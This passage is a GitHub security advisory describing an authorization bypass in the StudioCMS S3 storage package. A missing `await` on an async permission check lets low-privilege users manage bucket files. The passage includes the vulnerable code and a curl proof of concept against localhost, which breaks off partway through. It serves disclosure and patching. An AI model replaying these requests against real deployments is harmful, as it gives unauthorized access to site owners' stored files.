GitHub Security Advisory: GHSA-mm78-fgq8-6pgr
Package: @studiocms/s3-storage (NPM)
Severity: HIGH (CVSS 7.6)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 0.3.0
Patched in: 0.3.1

Summary: StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check

Details:
## Summary

The S3 storage manager's `isAuthorized()` function is declared `async` (returns `Promise<boolean>`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename, and list all files in the S3 bucket.

## Details

The `isAuthorized` function is typed as returning `Promise<boolean>` in `packages/studiocms/src/handlers/storage-manager/definitions.ts:88`:

```typescript
export type ParsedContext = {
    getJson: () => Promise<ContextJsonBody>;
    getArrayBuffer: () => Promise<ArrayBuffer>;
    getHeader: (name: string) => string | null;
    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async
};
```

Both context drivers implement it as `async` — `packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32`:

```typescript
isAuthorized: async (type) => {
    switch (type) {
        case 'headers': {
            // ... token verification ...
            const isEditor = level >= UserPermissionLevel.editor;
            if (!isEditor) return false;
            return true;
        }
        default: {
            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
            return isEditor;
        }
    }
},
```

But in the S3 storage manager, it's called without `await` — `packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200`:

```typescript
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}
```

And again at line 372 (PUT handler):

```typescript
if (!isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}
```

`isAuthorized(type)` returns a `Promise` object. `!Promise{...}` is always `false` because a Promise is truthy. The 401 response is never returned.

**Execution flow:**
1. Visitor-role user sends POST to `/studiocms_api/integrations/storage/manager`
2. `AstroLocalsMiddleware` verifies session exists — passes (visitor is logged in)
3. Handler calls `!isAuthorized('locals')` → evaluates `!Promise{...}` = `false`
4. Authorization check is skipped entirely
5. Visitor performs the requested storage operation

## PoC

```bash
# 1. Log in as a visitor-role user and obtain session cookie

# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"list","prefix":""}'

# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing

# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-t